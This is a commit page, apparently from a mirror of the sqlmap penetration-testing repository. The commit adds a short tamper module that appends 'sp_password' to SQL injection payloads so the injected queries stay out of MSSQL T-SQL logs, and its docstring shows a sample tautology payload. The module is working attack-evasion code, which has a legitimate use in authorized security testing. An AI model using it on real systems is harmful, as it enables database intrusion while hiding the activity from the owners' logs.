mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 14:55:40 +00:00
Fix for Issue #62
This commit is contained in:
parent
bc5025b06c
commit
982fcde1c0
3 changed files with 46 additions and 18 deletions
33
tamper/sp_password.py
Normal file
33
tamper/sp_password.py
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import PRIORITY
|
||||
|
||||
__priority__ = PRIORITY.HIGH
|
||||
|
||||
def tamper(payload):
|
||||
"""
|
||||
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
|
||||
|
||||
Example:
|
||||
* Input: 1 AND 9227=9227--
|
||||
* Output: 1 AND 9227=9227--sp_password
|
||||
|
||||
Requirement:
|
||||
* MSSQL
|
||||
|
||||
Notes:
|
||||
* Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
|
||||
* Reference: http://websec.ca/kb/sql_injection
|
||||
"""
|
||||
|
||||
retVal = ""
|
||||
|
||||
if payload:
|
||||
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")
|
||||
|
||||
return retVal
|
||||
Loading…
Add table
Add a link
Reference in a new issue